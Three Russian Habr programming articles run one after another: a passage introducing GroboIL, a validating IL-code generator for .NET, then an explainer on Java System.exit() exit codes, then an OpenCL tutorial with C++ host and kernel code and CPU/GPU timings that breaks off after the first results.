compiledMethod(..); // ← Здесь вылетит исключение
```
InvalidProgramException: «JIT compiler encountered an internal limitation».
Сюда же подпадает большое количество похожих ошибок: забыли положить this для вызова instance-метода, забыли положить аргумент метода, положили не то значение аргумента метода и т. д.
Если текст функции состоит из десятка инструкций, то еще можно как-то, перечитав код несколько раз, понять, в чем же ошибка, но если код состоит из сотен команд, то разработка такого кода становится очень муторным и долгим занятием.
Если же все же удается заставить такой код скомпилироваться, то дебагать его невозможно. Единственное, что можно сделать, это помимо кода сгенерировать еще символьную информацию, но это долго, неудобно и сложно поддерживать в актуальном состоянии.
Поэтому, имея достаточно большой опыт написания IL-кода с помощью ILGenerator и порядком измучившись, я решил написать свой, учтя все проблемы, на которые я наталкивался.
Задача была написать такой IL-генератор, чтобы исключение InvalidProgramException вообще никогда бы не вылетало, а подхватывалось где-то раньше с понятным текстом ошибки.
GroboIL
-------
Результатом стал GroboIL – умная обертка над ILGenerator.
Особенности GroboIL:
* Более удобный синтаксис: на каждую инструкцию по одной функции, все похожие инструкции объединены вместе, например, вместо 11 инструкций OpCodes.Ldelem\_\* есть один метод GroboIL.Ldelem(Type type).
* Во время генерации кода GroboIL формирует содержимое стэка вычислений и валидирует аргументы инструкций, и если что-то пошло не так, то тут же кидает исключение.
* Есть дебаг-вывод генерируемого кода.
* Есть возможность дебага MethodBuilder'ов.
* Приемлемая производительность. Например, как-то мне пришлось столкнуться с функцией из 500 000 инструкций, и обработка заняла 3 секунды (при этом компиляция метода JIT-компилятором заняла 84 секунды и отъела 4ГБ памяти).
Предыдущий пример, переписанный с использованием GroboIL:
```
public static Action BuildFieldsPrinter() where T : class
{
var type = typeof(T);
var method = new DynamicMethod(Guid.NewGuid().ToString(), // имя метода
typeof(void), // возвращаемый тип
new[] { type }, // принимаемые параметры
typeof(string), // к какому типу привязать метод, можно указывать, например, string
true); // просим доступ к приватным полям
using(var il = new GroboIL(method))
{
var fieldValue = il.DeclareLocal(typeof(object), "fieldValue");
var toStringMethod = typeof(object).GetMethod("ToString");
var fields = type.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
foreach(var field in fields)
{
il.Ldstr(field.Name + ": {0}"); // stack: [format]
il.Ldarg(0); // stack: [format, obj]
il.Ldfld(field); // stack: [format, obj.field]
if(field.FieldType.IsValueType)
il.Box(field.FieldType); // stack: [format, (object)obj.field]
il.Dup(); // stack: [format, obj.field, obj.field]
il.Stloc(fieldValue); // fieldValue = obj.field; stack: [format, obj.field]
var notNullLabel = il.DefineLabel("notNull");
il.Brtrue(notNullLabel); // if(obj.field != null) goto notNull; stack: [format]
il.Ldstr("null"); // stack: [format, "null"]
var printedLabel = il.DefineLabel("printed");
il.Br(printedLabel); // goto printed
il.MarkLabel(notNullLabel);
il.Ldloc(fieldValue); // stack: [format, obj.field]
il.Call(toStringMethod); // stack: [format, obj.field.ToString()]
il.MarkLabel(printedLabel);
var writeLineMethod = typeof(Console).GetMethod("WriteLine", new[] { typeof(string), typeof(object) });
il.Call(writeLineMethod); // Console.WriteLine(format, obj.field.ToString()); stack: []
}
il.Ret();
}
return (Action)method.CreateDelegate(typeof(Action));
}
```
Пробежимся по всем предыдущим ошибкам и посмотрим, как это будет выглядеть с GroboIL'ом.
1. ```
using(var il = new GroboIL(dynamicMethod))
{
{..} // Здесь какие-то инструкции
il.Ldfld(); // ← Здесь будет ошибка компиляции
{..} // Здесь какие-то инструкции
}
```
Будет ошибка компиляции, так как нет перегрузки метода GroboIL.Ldfld() без параметров.
2. ```
using(var il = new GroboIL(dynamicMethod))
{
{..} // Здесь какие-то инструкции
il.Box(); // ← Здесь будет ошибка компиляции
{..} // Здесь какие-то инструкции
}
```
Будет ошибка компиляции, так как нет перегрузки метода GroboIL.Box() без параметров.
3. ```
using(var il = new GroboIL(dynamicMethod))
{
{..} // Здесь какие-то инструкции
var code = GetCode(..); // Функция возвращает byte
il.Ldc_I4(code); // ← Здесь все ок, будет принят int
{..} // Здесь какие-то инструкции
}
```
Метод GroboIL.Ldc\_I4() принимает int, поэтому byte скастуется к int и все будет правильно.
4. ```
using(var il = new GroboIL(dynamicMethod))
{
{..} // Здесь какие-то инструкции
il.Call(abstractMethod); // ← Здесь все ок, будет сгенерирована инструкция Callvirt
{..} // Здесь какие-то инструкции
}
```
Функция GroboIL.Call() эмитит OpCodes.Call для невиртуальных методов и OpCodes.Callvirt для виртуальных (если нужно вызвать виртуальный метод невиртуально, например, вызвать базовую реализацию, то нужно использовать метод GroboIL.Callnonvirt())
5. ```
using(var il = new GroboIL(dynamicMethod))
{
{..} // Здесь какие-то инструкции
var keyGetter = typeof(KeyValuePair).GetProperty("Key").GetGetMethod();
il.Ldarg(1); // Аргумент 1 – KeyValuePair
il.Call(keyGetter); // ← Здесь вылетит исключение
{..} // Здесь какие-то инструкции
}
```
Валидатор стэка выдаст ошибку, что нельзя вызвать метод на value type:
InvalidOperationException: «In order to call the method 'String KeyValuePair.get\_Value()' on a value type 'KeyValuePair' load an instance by ref or box it».
6. ```
using(var il = new GroboIL(dynamicMethod))
{
{..} // Здесь какие-то инструкции
var toStringMethod = typeof(object).GetMethod("ToString");
il.Ldarga(1); // Аргумент 1 – int, загрузили по адресу
il.Call(toStringMethod); // ← Здесь вылетит исключение
{..} // Здесь какие-то инструкции
}
```
Валидатор стэка выдаст ошибку, что для вызова виртуального метода на value type нужно передать параметр ‘constrained’ (который подставит префикс OpCodes.Constrained):
InvalidOperationException: «In order to call a virtual method 'String Object.ToString()' on a value type 'KeyValuePair' specify the 'constrained' parameter».
7. ```
using(var il = new GroboIL(dynamicMethod))
{
{..} // Здесь какие-то инструкции
var bindingFlags = BindingFlags.Instance | BindingFlags.NonPublic; // Хотим достать приватное поле value
var valueField = typeof(KeyValuePair).GetField("value", bindingFlags);
il.Ldarga(1); // Аргумент 1 – KeyValuePair
il.Ldfld(valueField); // ← Здесь вылетит исключение
{..} // Здесь какие-то инструкции
}
```
Валидатор стэка выдаст ошибку, что не может загрузить поле:
InvalidOperationException: «Cannot load the field 'KeyValuePair.value' of an instance of type 'KeyValuePair'».
8. Есть проверка, что любая программа заканчивается на одну из нескольких допустимых инструкций, в частности, на OpCodes.Ret.
9. ```
using(var il = new GroboIL(dynamicMethod))
{
il.Ldarg(0); // Аргумент 0 - типа int
il.Ldarg(1); // Аргумент 1 - типа double
il.Add(); // ← Здесь вылетит исключение
il.Ret();
}
```
Валидатор стэка выдаст ошибку, что инструкция OpCodes.Add невалидна в текущем контексте:
InvalidOperationException: «Cannot perform the instruction 'add' on types 'Int32' and 'Double'».
10. ```
using(var il = new GroboIL(dynamicMethod))
{
il.Ldarg(0); // stack: [str]
il.Dup(); // stack: [str, str]
var notNullLabel = il.DefineLabel("notNull");
il.Brtrue(notNullLabel); // if(str != null) goto notNull; stack: [str]
il.Ldstr(""); // Oops, забыли, что на стэке еще осталось значение str
il.MarkLabel(notNullLabel); // ← Здесь вылетит исключение
il.Ret();
}
```
Валидатор стэка выдаст ошибку, что два пути исполнения кода формируют разный стэк вычислений, и покажет содержимое стэка в обоих случаях:
InvalidOperationException: «Inconsistent stack for the label ‘notNull’
Stack #1: [null, String]
Stack #2: [String]»
Debugging
---------
Помимо прочего, GroboIL формирует дебаг-текст генерируемого IL-кода, где справа от каждой инструкции написано содержимое стэка, который можно получить, вызвав GroboIL.GetILCode(), например:
```
ldarg.0 // [List]
dup // [List, List]
brtrue notNull\_0 // [null]
pop // []
ldc.i4.0 // [Int32]
newarr T // [T[]]
notNull\_0: // [{Object: IList, IList, IReadOnlyList}]
ldarg.1 // [{Object: IList, IList, IReadOnlyList}, Func]
call Int32 Enumerable.Sum(IEnumerable, Func)
// [Int32]
ret // []
```
Ну и напоследок, имеется возможность дебагать MethodBuillder'ы. В этом случае GroboIL автоматически строит символьную информацию, где исходным текстом является приведенный выше дебаг-текст.
Пример:
```
public abstract class Bazzze
{
public abstract int Sum(int x, double y);
}
public void Test()
{
var assembly = AppDomain.CurrentDomain.DefineDynamicAssembly(
new AssemblyName("DynAssembly"),
AssemblyBuilderAccess.RunAndCollect); // Хотим, чтобы сборщик собрал Assembly, когда она станет не нужна
var module = assembly.DefineDynamicModule("zzz", "zzz.dll", true); // true - хотим строить символьную информацию
var symWriter = module.GetSymWriter();
var typeBuilder = module.DefineType("Zzz", TypeAttributes.Public | TypeAttributes.Class, typeof(Bazzze));
var method = typeBuilder.DefineMethod(
"Sum",
MethodAttributes.Public | MethodAttributes.Virtual, // Будем перегружать метод базового класса
typeof(int), // Возвращаемый тип
new[] { typeof(int), typeof(double) }); // Типы аргументов
method.DefineParameter(1, ParameterAttributes.None, "x"); // Нужно только для дебага
method.DefineParameter(2, ParameterAttributes.None, "y"); // Эти имена можно вводить в watch
var documentName = typeBuilder.Name + "." + method.Name + ".cil";
var documentWriter = symWriter.DefineDocument(documentName,
SymDocumentType.Text, SymLanguageType.ILAssembly, Guid.Empty); // Здесь можно любые гуиды ставить
using(var il = new GroboIL(method, documentWriter)) // Передаем в конструктор documentWriter
{
il.Ldarg(1); // stack: [x]
il.Ldarg(2); // stack: [x, y]
il.Conv(); // stack: [x, (int)y]
il.Dup(); // stack: [x, (int)y, (int)y]
var temp = il.DeclareLocal(typeof(int), "temp");
il.Stloc(temp); // temp = (int)y; stack: [x, (int)y]
il.Add(); // stack: [x + (int)y]
il.Ret();
File.WriteAllText(Path.Combine(DebugOutputDirectory, documentName), il.GetILCode());
}
typeBuilder.DefineMethodOverride(method, typeof(Bazzze).GetMethod("Sum")); // Перегружаем метод
var type = typeBuilder.CreateType();
var inst = (Bazzze)Activator.CreateInstance(type, new object[0]);
inst.Sum(10, 3.14);
}
```
Теперь ставим брэйкпоинт на строку inst.Sum(10, 3.14); и нажимаем F11 (step into), выпадет диалоговое окно:
В открывшемся окне выбираем папку, куда был сложен дебаг-файлик, и увидим примерно следующее:
Этот файл Visual Studio воспринимает как обычный исходник, можно дебагать по F10/F11, ставить брэйкпоинты, в watch можно вводить параметры функции, this, локальные переменные.
К сожалению, так же красиво дебагать DynamicMethod'ы не получится, поскольку у них отсутствует встроенный механизм построения символьной информации (если кто-то из читателей знает такой способ, я был бы рад услышать). Но, так как IL-команды одинаковые как для DynamicMethod'а, так и для MethodBuilder'а, то можно спроектировать код так, что в нем будет легко подменить DynamicMethod на MethodBuilder для дебага, а в релиз-версии отключить.
Вывод
-----
С высоты своего пятилетнего опыта генерации IL-кода могу сделать следующий вывод: разница в разработке кода на ILGenerator и GroboIL сравнима с разницей в разработке на C# в VisualStudio с решарпером и разработке в блокноте с компилятором, который говорит ответ в виде Accepted/Rejected без номера строки с ошибкой. Разница в скорости разработки – на порядок. На мой взгляд, GroboIL позволяет генерировать IL-код практически с той же скоростью, что и генерировать, например, C#-код, оставляя при этом все преимущества языка низкого уровня. | https://habr.com/ru/post/262711/ | null | ru | null |
# System.exit(). Какой код выхода использовать?
Что является причиной того, что java программа прекращает любую свою активность и завершает свое выполнение? Основных причин может быть 2 ([JLS Секция 12.8](http://docs.oracle.com/javase/specs/jls/se7/html/jls-12.html)):
* Все потоки, которые не являются демонами, выполнены;
* Какой то из потоков вызывает метод exit() класса Runtime или же класса System и
SecurityManager дает добро на выполнение exit().
В обоих случаях в процессе завершения работы JVM передает своему родительскому процессу (процессу который запустил JVM) код выхода — значение типа int, на основании которого родительский процесс может делать выводы об успешности или не удачности выполнения поставленных перед JVM задач.
Исходя из общепринятой практики и установленных стандартов код выхода равный 0 — сигнализирует об успешном выполнении задачи.
```
public class Example1 {
public static void main(String args[]) {
System.out.println("Example 1");
}
}
```
Именно значение 0 и возвращает JVM в первом, вышеописанном случае при своем завершении.
Как это можно проверить?
Тут нам на помощь приходит параметр командной строки **ERRORLEVEL**, который позволяет получить код выхода программы, которую мы запускали последней.
Как видим со скриншота код выхода равен 0.
Переходим ко второму случаю, с использованием метода exit().
Какие значения можно передавать в метод exit? Исходя из [документации](http://docs.oracle.com/javase/7/docs/api/java/lang/System.html#exit(int)):
> The argument serves as a status code; by convention, a nonzero status code indicates abnormal termination.
Ага, варианта два: либо 0, либо любое ненулевое значение. Второй вариант можем разбить еще на два под варианта: любое отрицательное число и любое положительное число типа int.
Итак, пробуем вариант с 0:
```
public class Example2 {
public static void main(String args[]) {
System.out.println("Example 2 - Start");
System.exit(0);
System.out.println("Example 2 - End");
}
}
```
Как видим, родительский процесс снова получил информацию об успешном завершении JVM.
А что же с nonzero значениями? Что, когда и в каком случае передавать?
Тут все просто — никаких требований для nonzero значений нету и следует руководствоваться лишь одним общим правилом:
1. Возвращаем код выхода со значением >0 в случае, если мы ожидали что что то может случится нехорошее и оно таки случилось, например: некорректные данные в args[], или не удалось найти какой то важный для работы приложения файл, или не удалось подключиться к серверу и тд.
2. Возвращаем код выхода со значением <0, в случае, когда произошло что то, чего мы даже не могли спрогнозировать и совсем не ожидали (какие то системные ошибки).
Так же мы можем руководствоваться и следующим подходом — возвращать такое значение кода выхода, которое мы сами пожелаем. Такой вариант можно использовать, если мы знаем, что никакой родительский процесс (в нашем случае cmd) не делает никакой дополнительной обработки кода выхода, в таком случае мы вольны вернуть любое значение какое нам вздумается, это абсолютно ни на что **не повлияет**.
И последний вариант: если нам известно, что код выхода дополнительно обрабатывается и дабы не выдумывать значения самому можно позаимствовать значения, которые используются на уровни ОС.
Например, для ОС семейства Windows существует целый список из 15999 кодов: [System Error Codes](http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx), для семейства Linux свой список: [sysexits.h](http://stackoverflow.com/questions/1101957/are-there-any-standard-exit-status-codes-in-linux/1535733#1535733) | https://habr.com/ru/post/197594/ | null | ru | null |
# Первые шаги с OpenCL или сказ о том как одинаковый код на GPU и CPU запускать
Итак, прошел почти год с момента моего первого поста о программировании видеокарт и страшилок о том, как это все сложно. Теперь настала пора показать, что все не так плохо и как пользоваться этой странной штукой по имени OpenCL, да еще и использовать его главное преимущество, то есть возможность запускать один и тот же код на разных девайсах. А еще я покажу как можно получить на порядок большую производительность обычного процессора практически бесплатно.
Введение
========
Думаю, что пересказывать [Википедию об OpenCL](http://ru.wikipedia.org/wiki/OpenCL) особого смысла нет, но если в двух словах, то OpenCL — это язык, (фреймворк и платформа), который позволяет запускать один и тот же код на разных устройствах с разными архитектурами, а в особенности на высокопараллельных процессорах, вроде видеокарт и современных центральных процессоров. Основан стандарт на C99 и поддерживается The Khronos Group, на этом ликбез будем считать завершенным.
Начну я с того, что покажу небольшой кусочек кода и буду объяснять, что там происходит, параллельно рассказывая о том, как OpenCL работает.
Сначала я опишу достаточно тривиальный код и те, кому совсем не терпится увидеть ~~магию~~OpenCL, могут пропустить первую часть (только прочитайте последний абзац, где я описываю функцию MathCalculations, это важно. А если вы знаете об OpenCL и вам хочется увидеть результаты тестов, то идите сразу в пятый раздел, но все равно загляните в MathCalculations).
**int main(int argc, char\* argv[])**
```
int main(int argc, char* argv[])
{
GenerateTestData();
PerformCalculationsOnHost();
//Get all available platforms
vector platforms;
cl::Platform::get(&platforms);
for (int iPlatform=0; iPlatform devices;
platforms[iPlatform].getDevices(CL\_DEVICE\_TYPE\_ALL, &devices);
//Perform test on each device
for (int iDevice=0; iDevice
```
Вот так выглядит main моей небольшой программки для тестирования OpenCL, а если точнее, то для расчета некоего абстрактного математического выражения, до которого мы попозже дойдем. Итак, давайте построчно разбираться, что же тут происходит.
Часть первая — Инициализация исходных данных и традиционный способ вычислений
=============================================================================
GenerateTestData(); не делает ничего экстраординарного, а просто выделяет память под входные и выходные массивы, а также заполняет входные массивы случайными данными.
**void GenerateTestData()**
```
void GenerateTestData()
{
pInputVector1 = new float[DATA_SIZE];
pInputVector2 = new float[DATA_SIZE];
pOutputVector = new float[DATA_SIZE];
pOutputVectorHost = new float[DATA_SIZE];
srand (time(NULL));
for (int i=0; i
```
Дальше идет немного более интересная функция:
**void PerformCalculationsOnHost()**
```
void PerformCalculationsOnHost()
{
cout << "Device: Host" << endl << endl;
//Some performance measurement
timeValues.clear();
__int64 start_count;
__int64 end_count;
__int64 freq;
QueryPerformanceFrequency((LARGE_INTEGER*)&freq);
for(int iTest=0; iTest<(TESTS_NUMBER/10); iTest++)
{
QueryPerformanceCounter((LARGE_INTEGER*)&start_count);
for(int iJob=0; iJob= DATA\_SIZE) break;
//Perform calculations
pOutputVectorHost[iJob] = MathCalculations(pInputVector1[iJob], pInputVector2[iJob]);
}
QueryPerformanceCounter((LARGE\_INTEGER\*)&end\_count);
double time = 1000 \* (double)(end\_count - start\_count) / (double)freq;
timeValues.push\_back(time);
}
hostPerformanceTimeMS = std::accumulate(timeValues.begin(), timeValues.end(), 0)/timeValues.size();
PrintTimeStatistic();
}
```
В ней первый цикл
```
for(int iTest=0; iTest<(TESTS_NUMBER/10); iTest++)
```
нужен для того, чтобы провести тест несколько раз для получения более точного времени выполнения. Время вычисления каждого теста сохраняются в массиве timeValues из которого потом вычисляется среднее значение и сохраняется в hostPerformanceTimeMS.
Второй цикл
```
for(int iJob=0; iJob
```
последовательно производит некие математические вычисления над элементами входных массивов и сохраняет их в выходном массиве.
Как мы видим, в этом коде нет ничего необычного, он компилируется обычными сишным компилятором и выполняется последовательно на центральном процессоре, как и большая часть кода, который мы все пишем каждый день. А нужен он нам для того, чтобы впоследствии сверить с ним результаты, полученные OpenCL, а также понять, что за прирост производительности мы получаем.
Тут же стоит заглянуть в MathCalculations и увидеть, что там все совсем скучно:
**float MathCalculations(float a, float b)**
```
float MathCalculations(float a, float b)
{
float res = 0;
res += a*a*0.315f + b*0.512f + 0.789f;
res += a*a*0.15f + b*0.12f + 0.789f;
res += a*a*0.35f + b*0.51f + 0.89f;
res += a*a*0.31f + b*0.52f + 0.7f;
res += a*a*0.4315f + b*0.512f + 0.4789f;
res += a*a*0.515f + b*0.132f + 0.7859f;
res += a*a*0.635f + b*0.521f + 0.89f;
res += a*a*0.731f + b*0.152f + 0.7f;
res += a*a*0.1315f + b*0.512f + 0.789f;
res += a*a*0.115f + b*0.12f + 0.789f;
res += a*a*0.135f + b*0.51f + 0.89f;
res += a*a*0.131f + b*0.52f + 0.7f;
res += a*a*0.14315f + b*0.512f + 0.4789f;
res += a*a*0.1515f + b*0.132f + 0.7859f;
res += a*a*0.1635f + b*0.521f + 0.89f;
res += a*a*0.1731f + b*0.152f + 0.7f;
return res;
}
```
Собственно смысла она особого не имеет (и очевидно, что может быть сильно упрощена), а служит как простая демонстрация чистых математических действий. Важно в ней то, что она находится в отдельном .cpp файле и то, что в ней совершается много арифметических действий, но об этом чуть позже.
Часть вторая — Инициализация OpenCL
===================================
Итак, терпеливые дочитали до этой части и обрадовались, что начинается интересное, а нетерпеливые этого чувства испытать не смогут, они прошлый абзац пропустили:)
Сначала я скажу о том, что OpenCL Runtime API представляет из себя именно API для C, а не для C++. В целом, в этом нет ничего плохого кроме того, что для проверки ошибок надо проверять код, возвращаемый каждой функцией и это не очень удобно. А также надо вручную следить за освобождением выделенных ресурсов.
Но есть также и официальная C++ обертка (ее можно найти на сайте Khronos), которая представляет из себя набор классов, соответствующих объектам OpenCL и поддерживающим подсчеты ссылок (reference counting который) и бросание исключений в случае ошибок (исключения надо включать при помощи #define \_\_CL\_ENABLE\_EXCEPTIONS). Вот эту самую обертку я и буду использовать в нашем тесте.
Итак первым делом мы получаем список доступных платформ:
```
vector platforms;
cl::Platform::get(&platforms);
```
Платформа в OpenCL соответствует вендору, т.е. у NVidia будет одна платформа с ее устройствами, у Intel другая итд итп. В моем случае мне доступны как раз две платформы NVidia и Intel.
Сразу еще один маленький трюк, C++ wrapper может пользоваться своими собственными векторами (если ему об этом сказать) или векторами из STD, так что если где-то в примерах попадется что-то вроде cl::vector, не пугайтесь, он знает оба формата.
После того как мы получили список платформ, для каждой платформы мы получаем список доступных устройств:
```
std::vector devices;
platforms[iPlatform].getDevices(CL\_DEVICE\_TYPE\_ALL, &devices);
```
Собственно устройства — это то, что будет выполнять наши вычисления. Это может быть и GPU, и CPU и какой-то специальный ускоритель, который подключен к хосту, т.е. той системе, на которой запускается OpenCL. Вместо CL\_DEVICE\_TYPE\_ALL можно передать CL\_DEVICE\_TYPE\_GPU, тогда он будет выдавать только видеокарты или CL\_DEVICE\_TYPE\_CPU для центральных процессоров.
Для каждого найденного устройства я запускаю тест, о котором расскажу чуть ниже, и пытаюсь отловить исключения, которые бросит OpenCL в случае проблем, а если все прошло хорошо, то CheckResults сравнивает результаты с теми, которые мы насчитали в первой части на хосте и рассчитывает статистику ошибок.
Часть третья — Создание и запуск ядра
=====================================
Тут мы подходим к самому интересному — вычислениям.
**void PerformTestOnDevice(cl::Device device)**
```
void PerformTestOnDevice(cl::Device device)
{
cout << endl << "-------------------------------------------------" << endl;
cout << "Device: " << device.getInfo() << endl << endl;
//For the selected device create a context
vector contextDevices;
contextDevices.push\_back(device);
cl::Context context(contextDevices);
//For the selected device create a context and command queue
cl::CommandQueue queue(context, device);
//Clean output buffers
fill\_n(pOutputVector, DATA\_SIZE, 0);
//Create memory buffers
cl::Buffer clmInputVector1 = cl::Buffer(context, CL\_MEM\_READ\_ONLY|CL\_MEM\_COPY\_HOST\_PTR, DATA\_SIZE \* sizeof(float), pInputVector1);
cl::Buffer clmInputVector2 = cl::Buffer(context, CL\_MEM\_READ\_ONLY|CL\_MEM\_COPY\_HOST\_PTR, DATA\_SIZE \* sizeof(float), pInputVector2);
cl::Buffer clmOutputVector = cl::Buffer(context, CL\_MEM\_READ\_WRITE|CL\_MEM\_COPY\_HOST\_PTR, DATA\_SIZE \* sizeof(float), pOutputVector);
//Load OpenCL source code
std::ifstream sourceFile("OpenCLFile1.cl");
std::string sourceCode(std::istreambuf\_iterator(sourceFile),(std::istreambuf\_iterator()));
//Build OpenCL program and make the kernel
cl::Program::Sources source(1, std::make\_pair(sourceCode.c\_str(), sourceCode.length()+1));
cl::Program program = cl::Program(context, source);
program.build(contextDevices);
cl::Kernel kernel(program, "TestKernel");
//Set arguments to kernel
int iArg = 0;
kernel.setArg(iArg++, clmInputVector1);
kernel.setArg(iArg++, clmInputVector2);
kernel.setArg(iArg++, clmOutputVector);
kernel.setArg(iArg++, DATA\_SIZE);
//Some performance measurement
timeValues.clear();
\_\_int64 start\_count;
\_\_int64 end\_count;
\_\_int64 freq;
QueryPerformanceFrequency((LARGE\_INTEGER\*)&freq);
//Run the kernel on specific ND range
for(int iTest=0; iTest
```
Первым делом мы выводим имя устройства, полученное таким путем:
```
device.getInfo()
```
Таким же образом можно получить информацию о количестве ядер, частоте, версии, итд итп
Затем мы создаем контекст:
```
vector contextDevices;
contextDevices.push\_back(device);
cl::Context context(contextDevices);
```
С контекстами все не так просто… При создании контекста, мы передаем список устройств, которые мы хотим в него включить, но тут есть ограничение: только устройства на одной платформе могут быть в одном контексте, т.е. сделать контекст с GPU и CPU (в случае Intel/NVidia) не получится. В случае нескольких устройств в одном контексте, все буферы будут синхронизироваться автоматически на разных устройствах. С одной стороны, это упрощает поддержку multi-GPU, а с другой стороны никто не знает как, что и когда драйвер будет синхронизировать, а эффективность передачи данных является критичным для получения высокой производительности ради которой все и затевается. Поэтому я обычно создаю отдельный контекст для каждого устройства и вручную распределяю данные. Таким образом всегда известно, что, где, когда происходит.
Следующий шаг — это создание очереди команд для устройства:
```
cl::CommandQueue queue(context, device);
```
Эта самая очередь привязывается к конкретному устройству и, в теории, может быть Out of Order, но по факту, я такого поведения не замечал. Очередей для одного устройства может быть несколько, причем можно синхронизировать команды из разных очередей, но в пределах одного контекста.
Далее мы создаем буферы для входных и выходного векторов:
```
//Create memory buffers
cl::Buffer clmInputVector1 = cl::Buffer(context, CL_MEM_READ_ONLY|CL_MEM_COPY_HOST_PTR, DATA_SIZE * sizeof(float), pInputVector1);
cl::Buffer clmInputVector2 = cl::Buffer(context, CL_MEM_READ_ONLY|CL_MEM_COPY_HOST_PTR, DATA_SIZE * sizeof(float), pInputVector2);
cl::Buffer clmOutputVector = cl::Buffer(context, CL_MEM_READ_WRITE|CL_MEM_COPY_HOST_PTR, DATA_SIZE * sizeof(float), pOutputVector);
```
При создании буфера указывается контекст (а не конкретное устройство), его объем и, при желании и использовании флага CL\_MEM\_COPY\_HOST\_PTR, указатель на данные, которые будут в него скопированы при создании. Как я говорил ранее, C++ wrapper использует подсчет ссылок, поэтому удалять буфер вручную не надо, в отличие от чистого C API.
Далее нам необходимо создать ядро, код которого хранится в файле «OpenCLFile1.cl». Для этого мы читаем текст из файла, создаем OpenCL программу, компилируем ее и получаем из нее ядро с именем «TestKernel», которое вы увидите в следующей части.
```
cl::Program::Sources source(1, std::make_pair(sourceCode.c_str(), sourceCode.length()+1));
cl::Program program = cl::Program(context, source);
program.build(contextDevices);
cl::Kernel kernel(program, "TestKernel");
```
При компиляции надо указать на каких устройствах мы ее планируем запускать, в нашем случае это одно выбранное устройство для теста, хотя можно указать все сразу. Также можно передавать флаги компиляции, но в этом примере мы этого не делаем.
Далее нам нужно установить аргументы, которые будут передаваться ядру. В отличие от CUDA, нужно вызывать специальные функции (в случае C++ wrapper'а, методы) для каждого аргумента и при необходимости указывать размер аргумента.
```
int iArg = 0;
kernel.setArg(iArg++, clmInputVector1);
kernel.setArg(iArg++, clmInputVector2);
kernel.setArg(iArg++, clmOutputVector);
kernel.setArg(iArg++, DATA_SIZE);
```
Теперь мы подошли к самому главному — запуску ядра:
```
queue.enqueueNDRangeKernel(kernel, cl::NullRange, cl::NDRange(DATA_SIZE), cl::NDRange(128));
```
Собственно queue.enqueueNDRangeKernel добавляет команду запуска ядра в очередь команд и устанавливает количество элементов, которые будут обработаны, а также размер группы. О группах я расскажу отдельно (в другой статье), но сейчас упомяну лишь тот факт, что все элементы всегда разбиваются на группы и от размера группы может сильно зависеть производительность. В нашем случае количество элементов равно DATA\_SIZE, а размер группы 128. Во время выполнения ядра, оно будет запущено DATA\_SIZE раз (в неизвестной последовательности и возможно одновременно) и при каждом запуске ему будет передана информация о том, какой именно элемент обрабатывается.
enqueueNDRangeKernel является не блокирующей, поэтому после запуска ядра, мы должны дождаться его завершения, для чего и служит:
```
queue.finish();
```
Фактически finish выполняет две задачи:
1) Пересылает все команды в устройство (выполнение enqueueNDRangeKernel гарантирует, что драйвер получил команду и поставил ее в очередь, но не гарантируют ее запуск на устройстве, причем довольно часто может проходить достаточно длительное время перед реальным запуском ядра).
2) Ждет завершения всех команд в очереди.
Если нужно выполнить только первую часть, существует команда push (clFlush), которая является не блокирующей, но заставляет драйвер начать выполнение команд из очереди.
После выполнения расчетов, мы подсчитываем затраченное время и загружаем результаты расчетов обратно на хост командой:
```
queue.enqueueReadBuffer(clmOutputVector, CL_TRUE, 0, DATA_SIZE * sizeof(float), pOutputVector);
```
В зависимости от второго аргумента, enqueueReadBuffer может быть блокирующей или не блокирующей. В нашем случае, она блокирующая, поэтому нет необходимости вызывать finish отдельно. Синтаксис простой: первый аргумент — откуда читать, четвертый аргумент — сколько читать и последний аргумент — куда читать. Есть еще параметр, который задает смещение от начала входного буфера, которое надо использовать в случае, если нужно считать данные не сначала, так как мы не можем использовать адресную арифметику для буферов OpenCL на хосте.
Часть четвертая — Код OpenCL kernel
===================================
А вот тут мы и дошли до того места, где нам надо начинать писать код (хотя это и кодом назвать сложно, так… баловство:)) на OpenCL. Вот так выглядит OpenCLFile1.cl:
```
#include "MathCode.cpp"
__kernel void TestKernel(
__global const float* pInputVector1,
__global const float* pInputVector2,
__global float* pOutputVectorHost,
int elementsNumber)
{
//Get index into global data array
int iJob = get_global_id(0);
//Check boundary conditions
if (iJob >= elementsNumber) return;
//Perform calculations
pOutputVectorHost[iJob] = MathCalculations(pInputVector1[iJob], pInputVector2[iJob]);
}
```
Итак по порядку:
Первым делом мы включаем в наш код файл MathCode.cpp, который содержит математическую функцию, ту самую на которую я просил обратить внимание ранее и ту самую, которая используется для традиционных вычислений на хосте. Как вы видите, мы даже не копируем код, мы используем один и тот же файл с математическим кодом.
Дальше мы создаем ядро, которое помечаем ключевым словом \_\_kernel. Некоторые аргументы ядра также помечены ключевым словом \_\_global, которое указывает на то, что это буфер в глобальной памяти устройства, созданный нами в коде хоста.
В коде ядра мы получаем номер элемента, который необходимо обработать:
```
int iJob = get_global_id(0);
```
Параметр get\_global\_id указывает на измерение, так как обрабатываемые элементы могут представлять из себя 1, 2 или 3мерный массив.
Затем проверяем граничные условия:
```
if (iJob >= elementsNumber) return;
```
Это необходимо делать по той причине, что количество элементов для обработки должно быть всегда кратно размеру группы и таким образом оно может превышать количество, которые нужно обработать.
А после проверки мы делаем главную часть: вычисления, причем точно таким же образом, как и на хосте:
```
pOutputVectorHost[iJob] = MathCalculations(pInputVector1[iJob], pInputVector2[iJob]);
```
Часть пятая — Тестирование и замеры производительности
======================================================
Вот и пришло время запустить приложение, оценить производительность и сделать некоторые выводы.
Я запускал тест на двух машинах и получил интересные результаты:
Ноутбук (CPU: [Intel® Core™ i7-820QM](http://ark.intel.com/products/43124/Intel-Core-i7-820QM-Processor-(8M-Cache-1_73-GHz)), GPU: [NVidia Quadro FX 2800M](http://www.nvidia.ru/object/product_quadro_fx_2800_m_ru.html)):
```
Host: 959.256 ms
CPU: 82.4163 ms (13.106X faster than host)
GPU: 9.90836 ms (109.014X faster than host)
```
Десктоп (CPU: [Intel® Core™ i7-2600](http://ark.intel.com/products/52213), GPU: [NVidia GeForce GTX 580](http://www.nvidia.ru/object/product-geforce-gtx-580-ru.html)):
```
Host: 699.031 ms
CPU: 27.7833 ms (25.159X faster than host)
GPU: 2.06257 ms (338.897X faster than host)
```
**Полные результаты**
```
Device: Host
Calculation time statistic: (20 runs)
Med: 959.256 ms (1.12602X faster than host)
Avg: 1080.15 ms
Min: 933.554 ms
Max: 1319.19 ms
-------------------------------------------------
